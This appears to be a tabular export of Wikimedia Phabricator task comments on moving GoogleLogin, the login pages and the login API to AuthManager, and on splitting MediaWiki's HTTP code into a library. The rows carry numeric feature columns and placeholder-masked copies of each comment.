all: AuthManager is a lot easier to handle as AuthPlugin or (like GoogleLogin does) implementing anything from scratch. The interfaces provide nearly anything to integrate a login provider into the login/signup workflow. However, two points which we could do better:

* Login -> Signup -> Login workflow should be implemented as it is reasonable, that an user, who authenticates with an external site, want to create a new account if there isn't one so far for this credentials, or at least an option to create a new account (I thought we already have a task for this but I couldn't find it :/)
* An extension still has to handle a ""connection"" between the local wiki account and the identifier of the external site (GoogleLogin uses the user_google_user table for that). However, it would be cool to have a central table for it, and an interface that allows an extension to specify the type of the connection (e.g. google_auth) and the interface handles the connection between multiple external site account connections and the one local wiki account (the same what GoogleLogin does with the GoogleUser class and the user_google_user table, but more global and better thought). What do you think about that? It would make it easier for Linkproviders to create/manage links between accounts :)

Otherwise I can't think about big pain points in using AuthManager, probably some examples would be good (however, linking some extensions on the doc page which already implement providers for different use cases may be enough as examples :))."
681909,Update GoogleLogin to use AuthManager,"\o/

If you have any feedback on how AuthManager made things better or worse for an extension like this, I'd like to hear it. One of our goals with AuthManager was to make authentication against an external site reasonably easy to do, compared to the old system where it was necessary to do all sorts of weird hacks.",,,1466433349,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-d4fkdpzfgdjet4ikap7e,task_subcomment,,True,c3,3,True,,,50,True,3.0,0.0,0.0,0.0,0.0,9.0,3.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,3.0,0.0,6.0,20.0,0.0,6.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,3.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,11.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,2.0,2.0,0.0,0.0,5.0,3.0,8.0,5.0,2.0,9.0,0.0,0.0,0.0,0.0,8.0,0.0,2.0,0.0,8.0,20.0,5.0,0.0,0.0,0.0,8.0,0.0,3.0,3.0,0.0,0.0,3.0,0.0,0.0,4.0625,0.796875,"\o/

If you have any feedback on how AuthManager made things better or worse for an extension like this, I'd like to hear it. One of our goals with AuthManager was to make authentication against an external site reasonably easy to do, compared to the old system where it was necessary to do all sorts of weird hacks."
681421,Update GoogleLogin to use AuthManager,*yay* :),,,1466226084,,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,,,PHID-TASK-d4fkdpzfgdjet4ikap7e,task_subcomment,,True,c3,3,True,,,50,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.75,0.75,*yay* :)
681420,Update GoogleLogin to use AuthManager,"Change 289099 merged by jenkins-bot:
Rewrite GoogleLogin to be a PrimaryAuthenticationProvider

[[https://gerrit.wikimedia.org/r/289099]]",,,1466226079,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-d4fkdpzfgdjet4ikap7e,task_subcomment,,True,c3,3,False,,,50,True,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,24.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,14.0,4.809523809523809,0.9047619047619048,"Change 289099 merged by jenkins-bot:
Rewrite GoogleLogin to be a PrimaryAuthenticationProvider

[[GERRIT_URL]]"
663299,Update GoogleLogin to use AuthManager,"Change 289099 had a related patch set uploaded (by Florianschmidtwelzow):
WIP: Rewrite GoogleLogin to be a PrimaryAuthenticationProvider

[[https://gerrit.wikimedia.org/r/289099]]
",,,1463439518,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-d4fkdpzfgdjet4ikap7e,task_subcomment,,True,c3,3,False,,,45,True,0.0,0.0,0.0,0.0,0.0,7.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,25.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,7.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,11.0,4.928571428571429,0.8571428571428571,"Change 289099 had a related patch set uploaded (by Florianschmidtwelzow):
WIP: Rewrite GoogleLogin to be a PrimaryAuthenticationProvider

[[GERRIT_URL]]
"
110277,Rewrite Special:UserLogin (and signup) and Special:UserLogout to use AuthManager,,Medium,50.0,1440568477,1463426196.0,PHID-USER-a6p24cvyblhfzc7we7nc,False,PHID-USER-uqcn2l4ng4murmyfnvyp,False,PHID-TASK-qm47zpqpwyeg5z4lebzj,task_description,resolved,True,c3,3,True,False,False,7,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,nan
663382,Rewrite Special:UserLogin (and signup) and Special:UserLogout to use AuthManager,"Change 289106 merged by jenkins-bot:
Use AuthManager on special pages

[[https://gerrit.wikimedia.org/r/289106]]",,,1463447287,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qm47zpqpwyeg5z4lebzj,task_subcomment,,True,c3,3,False,,,45,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,3.85,0.9,"Change 289106 merged by jenkins-bot:
Use AuthManager on special pages

[[GERRIT_URL]]"
663336,Rewrite Special:UserLogin (and signup) and Special:UserLogout to use AuthManager,"Change 289106 had a related patch set uploaded (by Gergő Tisza):
Use AuthManager on special pages

[[https://gerrit.wikimedia.org/r/289106]]
",,,1463441560,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qm47zpqpwyeg5z4lebzj,task_subcomment,,True,c3,3,False,,,45,True,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,23.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,3.8461538461538463,0.8846153846153846,"Change 289106 had a related patch set uploaded (by Gergő Tisza):
Use AuthManager on special pages

[[GERRIT_URL]]
"
663080,Rewrite Special:UserLogin (and signup) and Special:UserLogout to use AuthManager,"Change 240052 merged by jenkins-bot:
Use AuthManager on special pages

[[https://gerrit.wikimedia.org/r/240052]]",,,1463425296,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qm47zpqpwyeg5z4lebzj,task_subcomment,,True,c3,3,False,,,45,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,3.85,0.9,"Change 240052 merged by jenkins-bot:
Use AuthManager on special pages

[[GERRIT_URL]]"
532296,Rewrite Special:UserLogin (and signup) and Special:UserLogout to use AuthManager,"Change 240052 had a related patch set uploaded (by Gergő Tisza):
[WIP] Use AuthManager on Special:Userlogin

[[https://gerrit.wikimedia.org/r/240052]]
",,,1442910313,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qm47zpqpwyeg5z4lebzj,task_subcomment,,True,c3,3,False,,,11,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,30.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,7.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,13.0,3.6666666666666665,0.8333333333333334,"Change 240052 had a related patch set uploaded (by Gergő Tisza):
[WIP] Use AuthManager on Special:Userlogin

[[GERRIT_URL]]
"
516375,Rewrite Special:UserLogin (and signup) and Special:UserLogout to use AuthManager,"This sounds closely related to T19312, perhaps even a duplicate.",,,1440725393,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-qm47zpqpwyeg5z4lebzj,task_subcomment,,True,c3,3,True,,,8,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,17.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.583333333333333,1.0,"This sounds closely related to T19312, perhaps even a duplicate."
110276,Rewrite the login API to use AuthManager,,Medium,50.0,1440568357,1463426543.0,PHID-USER-a6p24cvyblhfzc7we7nc,False,PHID-USER-uqcn2l4ng4murmyfnvyp,False,PHID-TASK-nzjjokthk5zkij3lcujl,task_description,resolved,True,c3,3,True,False,False,7,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,nan
663407,Rewrite the login API to use AuthManager,"Change 289122 merged by jenkins-bot:
API changes for AuthManager

[[https://gerrit.wikimedia.org/r/289122]]",,,1463449341,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-nzjjokthk5zkij3lcujl,task_subcomment,,True,c3,3,False,,,45,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,3.8421052631578947,0.8947368421052632,"Change 289122 merged by jenkins-bot:
API changes for AuthManager

[[GERRIT_URL]]"
663394,Rewrite the login API to use AuthManager,"Change 289122 had a related patch set uploaded (by Gergő Tisza):
API changes for AuthManager

[[https://gerrit.wikimedia.org/r/289122]]
",,,1463447694,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-nzjjokthk5zkij3lcujl,task_subcomment,,True,c3,3,False,,,45,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,24.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,3.84,0.88,"Change 289122 had a related patch set uploaded (by Gergő Tisza):
API changes for AuthManager

[[GERRIT_URL]]
"
663116,Rewrite the login API to use AuthManager,"This is resolved now with the merge of the core AuthManager patches.

There's no timeframe for when this will be available on WMF wikis, though, beyond ""soon"". The next step will be to resolve T110282, then a gradual deploy while watching for things to break.",,,1463426543,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-nzjjokthk5zkij3lcujl,task_subcomment,,True,c3,3,True,,,45,True,0.0,0.0,0.0,2.0,0.0,5.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,9.0,16.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,13.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,5.0,11.0,4.0,0.0,13.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,16.0,7.0,0.0,4.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,3.9272727272727272,0.8181818181818182,"This is resolved now with the merge of the core AuthManager patches.

There's no timeframe for when this will be available on WMF wikis, though, beyond ""soon"". The next step will be to resolve T110282, then a gradual deploy while watching for things to break."
663082,Rewrite the login API to use AuthManager,"Change 265201 merged by jenkins-bot:
API changes for AuthManager

[[https://gerrit.wikimedia.org/r/265201]]",,,1463425307,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-nzjjokthk5zkij3lcujl,task_subcomment,,True,c3,3,False,,,45,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,3.8421052631578947,0.8947368421052632,"Change 265201 merged by jenkins-bot:
API changes for AuthManager

[[GERRIT_URL]]"
593068,Rewrite the login API to use AuthManager,"Change 265201 had a related patch set uploaded (by Anomie):
WIP: API changes for AuthManager

[[https://gerrit.wikimedia.org/r/265201]]
",,,1453259875,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-nzjjokthk5zkij3lcujl,task_subcomment,,True,c3,3,False,,,28,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,23.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,3.6923076923076925,0.8846153846153846,"Change 265201 had a related patch set uploaded (by Anomie):
WIP: API changes for AuthManager

[[GERRIT_URL]]
"
110022,Move HTTP-related code from MW to its own library,"To be considered:
* (includes/http) `Http`, `MWHttpRequest`, `CurlHttpRequest`
* (libs) HttpAcceptParser, HttpAcceptNegotiator
* (libs) MultiHttpClient
* (libs) HttpStatus

----
This would mean that said library could be used by https://github.com/addwiki/mediawiki-api-base which is required by https://github.com/addwiki/wikibase-api.

https://github.com/addwiki/wikibase-api could then easily be used by the WikibaseClient potentially helping to resolve T48556

Not only that, but this code is also perfect for a library....",Medium,50.0,1440413306,,PHID-USER-u7w6n5ecde66oujx33pe,False,,False,PHID-TASK-ffygqkj467yqgxrb2avu,task_description,open,True,c3,3,True,False,,7,True,0.0,0.0,0.0,5.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,7.0,7.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,1.0,0.0,2.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,19.0,4.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,2.0,0.0,1.0,0.0,2.0,6.0,18.0,0.0,1.0,8.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,7.0,8.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,3.929411764705882,0.611764705882353,"To be considered:
* (includes/http) CODE, CODE, CODE
* (libs) HttpAcceptParser, HttpAcceptNegotiator
* (libs) MultiHttpClient
* (libs) HttpStatus

----
This would mean that said library could be used by URL which is required by URL

URL could then easily be used by the WikibaseClient potentially helping to resolve T48556

Not only that, but this code is also perfect for a library...."
1436002,Move HTTP-related code from MW to its own library,"So, for this task it would still be great to have GuzzleHttpRequest or MWHttpRequest in its own library...

Or have them implement ClientInterface.

Or I guess I would just have to write some adapter.

The whole point of this ticket is that the interface that is used in core is usable outside core in other libraries.",,,1580892300,,PHID-USER-u7w6n5ecde66oujx33pe,False,,,PHID-TASK-ffygqkj467yqgxrb2avu,task_subcomment,,True,c3,3,True,,,239,True,2.0,0.0,0.0,2.0,0.0,9.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,5.0,12.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,0.0,6.0,2.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,14.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,2.0,0.0,3.0,6.0,14.0,2.0,5.0,8.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,8.0,12.0,3.0,0.0,0.0,0.0,8.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,4.15625,0.734375,"So, for this task it would still be great to have GuzzleHttpRequest or MWHttpRequest in its own library...

Or have them implement ClientInterface.

Or I guess I would just have to write some adapter.

The whole point of this ticket is that the interface that is used in core is usable outside core in other libraries."
1192836,Move HTTP-related code from MW to its own library,"Guzzle has been added to the codebase and made available through the new GuzzleHttpRequest class, per T202110.",,,1544457802,,PHID-USER-d23voycoc6fi22r36djr,False,,,PHID-TASK-ffygqkj467yqgxrb2avu,task_subcomment,,True,c3,3,False,,,179,True,0.0,0.0,0.0,5.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,5.0,16.0,0.0,5.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.947368421052632,0.9473684210526315,"Guzzle has been added to the codebase and made available through the new GuzzleHttpRequest class, per T202110."
1125418,Move HTTP-related code from MW to its own library,">>! In T110022#4508947, @Legoktm wrote:
>>>! In T110022#4502131, @Krinkle wrote:
> I think this can also work backwards, like if upstream doesn't add support for newer PHP versions, then we're stuck.

I agree that's a general concern to be aware of when comparing vendors. WordPress specifically, though, has no precedent for being slow to support new PHP versions. They've been as fast or faster than us. (PHP7.0 both in late 2015, PHP 7.2 also on par, or arguably we're behind if we also consider warnings).",,,1534785422,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-ffygqkj467yqgxrb2avu,task_subcomment,,True,c3,3,True,,,163,True,0.0,0.0,0.0,0.0,0.0,10.0,4.0,0.0,1.0,1.0,3.0,3.0,0.0,0.0,0.0,5.0,0.0,11.0,11.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,8.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,1.0,1.0,1.0,1.0,0.0,3.0,0.0,0.0,0.0,8.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,4.0,12.0,3.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,3.0,0.0,7.0,11.0,7.0,0.0,0.0,0.0,7.0,0.0,1.0,1.0,1.0,1.0,1.0,0.0,0.0,3.7534246575342465,0.8082191780821918,"QUOTE
QUOTE
QUOTE

I agree that's a general concern to be aware of when comparing vendors. WordPress specifically, though, has no precedent for being slow to support new PHP versions. They've been as fast or faster than us. (PHP7.0 both in late 2015, PHP 7.2 also on par, or arguably we're behind if we also consider warnings)."
1125305,Move HTTP-related code from MW to its own library,"Made this suggestion in T201409 but figured it should be repeated here: whatever the implementation ends up being, it should be easy (or possibly required?) to set the User Agent string, with the goal that any caller will use that to specify what job/service/etc is making a call.  It makes it much, much easier to debug cross-service calls when you have that info.",,,1534778580,,PHID-USER-jzttt2rzt4bpbzkerkod,False,,,PHID-TASK-ffygqkj467yqgxrb2avu,task_subcomment,,True,c3,3,False,,,163,True,4.0,0.0,0.0,1.0,0.0,8.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,9.0,0.0,3.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,5.0,0.0,5.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,1.0,1.0,0.0,0.0,10.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,5.0,5.0,6.0,1.0,3.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,9.0,4.0,1.0,0.0,0.0,6.0,0.0,5.0,1.0,0.0,1.0,1.0,0.0,1.0,3.8354430379746836,0.7974683544303798,"Made this suggestion in T201409 but figured it should be repeated here: whatever the implementation ends up being, it should be easy (or possibly required?) to set the User Agent string, with the goal that any caller will use that to specify what job/service/etc is making a call.  It makes it much, much easier to debug cross-service calls when you have that info."
1123921,Move HTTP-related code from MW to its own library,">>! In T110022#4502131, @Krinkle wrote:
> This means we can be reasonably certain that we can always use the latest stable version of the library, with upstream support for any issues that may arise in either its public interface or compatibility with any of the PHP versions MediaWiki supports.
> 
> It also means there likely isn't going to be a major release any time soon that would drop support for a PHP version we support, or that would make a breaking change in its public interface. This reduces the chances of getting stuck with an older or unsupported version.

I think this can also work backwards, like if upstream doesn't add support for newer PHP versions, then we're stuck.",,,1534478654,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-ffygqkj467yqgxrb2avu,task_subcomment,,True,c3,3,True,,,163,True,0.0,0.0,0.0,0.0,3.0,9.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,12.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,9.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,18.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,9.0,12.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.696969696969697,0.8181818181818182,"QUOTE
QUOTE
QUOTE
QUOTE

I think this can also work backwards, like if upstream doesn't add support for newer PHP versions, then we're stuck."
1122381,Move HTTP-related code from MW to its own library,"I agree that non-static state and active maintenance are desirable traits. I haven't recently checked either library for those aspects, but I trust @BPirkle and @Tgr  that Guzzle is better in that regard.

I'd like to instead provide feedback on another aspect: Stability.

##### Stability

Being part of WordPress has a very strong benefit with regards to stability. In particular:

* WordPress is very serious about backwards compatibility.
* WordPress is very serious about PHP compatibility.

